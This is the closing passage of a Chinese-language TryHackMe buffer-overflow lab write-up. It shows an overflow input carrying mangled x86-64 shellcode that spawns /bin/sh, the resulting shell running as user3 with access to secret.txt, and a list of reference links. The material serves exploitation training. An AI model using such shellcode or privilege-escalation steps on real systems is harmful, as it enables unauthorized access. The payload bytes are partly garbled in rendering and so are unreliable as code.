      new word is doggo\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd1\ufffdf\ufffd\ufffdjqXH\ufffd\ufffdj;XH1\ufffdI\ufffd//bin/shI\ufffdAPH\ufffd\ufffdRWH\ufffd\ufffdj<XH1\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd
      sh-4.2$ 
    
  • 获取到user3的shell后查看文件:

      sh-4.2$
      a.out  buffer-overflow-2  buffer-overflow-2.c  secret.txt
      sh-4.2$ whoami
      user3
    

Reference

Buffer Overflow

缓冲区溢出详细新手教程

ASCII字符集中的功能/控制字符

ASCII

【THM】Buffer Overflow(缓冲区溢出基础)-学习

TryHackMe - Buffer Overflows (Bof1) Task 8 - Write-up